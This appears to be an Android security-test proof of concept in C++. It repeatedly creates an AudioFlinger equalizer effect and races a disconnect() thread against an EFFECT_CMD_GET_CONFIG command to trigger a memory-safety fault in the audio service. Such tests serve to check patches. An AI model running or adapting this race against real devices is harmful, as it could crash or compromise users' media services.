1 /**
2  * Copyright (C) 2018 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 #include <sys/types.h>
17 #include <sys/wait.h>
18 #include <stdlib.h>
19 
20 #include <android/media/BnEffectClient.h>
21 #include <android/media/IEffect.h>
22 #include <android/content/AttributionSourceState.h>
23 #include <hardware/audio_effect.h>
24 #include <media/AidlConversion.h>
25 #include <media/AudioSystem.h>
26 #include <media/IAudioFlinger.h>
27 
28 using namespace android;
29 using media::IEffect;
30 
31 struct EffectClient : public media::BnEffectClient {
EffectClientEffectClient32   EffectClient() {}
controlStatusChangedEffectClient33   virtual binder::Status controlStatusChanged(bool controlGranted __unused) {
34     return binder::Status::ok();
35   }
36 
enableStatusChangedEffectClient37   virtual binder::Status enableStatusChanged(bool enabled __unused) {
38     return binder::Status::ok();
39   }
40 
commandExecutedEffectClient41   virtual binder::Status commandExecuted(int32_t cmdCode __unused,
42       const std::vector<uint8_t>& cmdData __unused,
43       const std::vector<uint8_t>& replyData __unused) {
44     return binder::Status::ok();
45   }
46 };
47 
48 sp<IEffect> gEffect;
49 
disconnectThread(void *)50 void *disconnectThread(void *) {
51   usleep(5);
52   if (gEffect != NULL && gEffect.get() != NULL) {
53     gEffect->disconnect();
54   }
55   return NULL;
56 }
57 
main()58 int main() {
59   static const effect_uuid_t EFFECT_UIID_EQUALIZER = {
60       0x0bed4300, 0xddd6, 0x11db, 0x8f34, {0x00, 0x02, 0xa5, 0xd5, 0xc5, 0x1b}};
61 
62   effect_descriptor_t descriptor;
63   memset(&descriptor, 0, sizeof(descriptor));
64   descriptor.type = EFFECT_UIID_EQUALIZER;
65   descriptor.uuid = *EFFECT_UUID_NULL;
66   sp<EffectClient> effectClient(new EffectClient());
67 
68   const int32_t priority = 0;
69   audio_session_t sessionId = (audio_session_t)(128);
70   const audio_io_handle_t io = AUDIO_IO_HANDLE_NONE;
71   const std::string opPackageName("com.exp.poc");
72   int32_t id;
73   int i, enabled;
74   status_t err;
75 
76   std::vector<uint8_t> cmdData;
77   std::vector<uint8_t> replyData;
78 
79   gEffect = NULL;
80   pthread_t pt;
81   const sp<IAudioFlinger> &audioFlinger = AudioSystem::get_audio_flinger();
82   AudioDeviceTypeAddr device;
83   android::content::AttributionSourceState attributionSource;
84   attributionSource.packageName = opPackageName;
85   attributionSource.pid = VALUE_OR_RETURN_STATUS(legacy2aidl_pid_t_int32_t(getpid()));
86 
87   for (i=0; i<100; i++) {
88     media::CreateEffectRequest request;
89     request.desc = VALUE_OR_RETURN_STATUS(
90             legacy2aidl_effect_descriptor_t_EffectDescriptor(descriptor));
91     request.client = effectClient;
92     request.priority = priority;
93     request.output = VALUE_OR_RETURN_STATUS(legacy2aidl_audio_io_handle_t_int32_t(io));
94     request.sessionId = VALUE_OR_RETURN_STATUS(legacy2aidl_audio_session_t_int32_t(sessionId));
95     request.device = VALUE_OR_RETURN_STATUS(legacy2aidl_AudioDeviceTypeAddress(device));
96     request.attributionSource = attributionSource;
97     request.probe = false;
98 
99     media::CreateEffectResponse response;
100 
101     err = audioFlinger->createEffect(request, &response);
102 
103     if (err == OK) {
104         id = response.id;
105         enabled = response.enabled;
106         gEffect = response.effect;
107         descriptor = VALUE_OR_RETURN_STATUS(
108                 aidl2legacy_EffectDescriptor_effect_descriptor_t(response.desc));
109     }
110 
111     if (gEffect == NULL || err != NO_ERROR) {
112       return -1;
113     }
114     pthread_create(&pt, NULL, disconnectThread, NULL);
115     binder::Status status = gEffect->command(EFFECT_CMD_GET_CONFIG, cmdData,
116                                              sizeof(effect_config_t),
117                                              &replyData, &err);
118     if (!status.isOk()) {
119       err = status.transactionError();
120     }
121     usleep(50);
122   }
123   sleep(2);
124   return 0;
125 }
126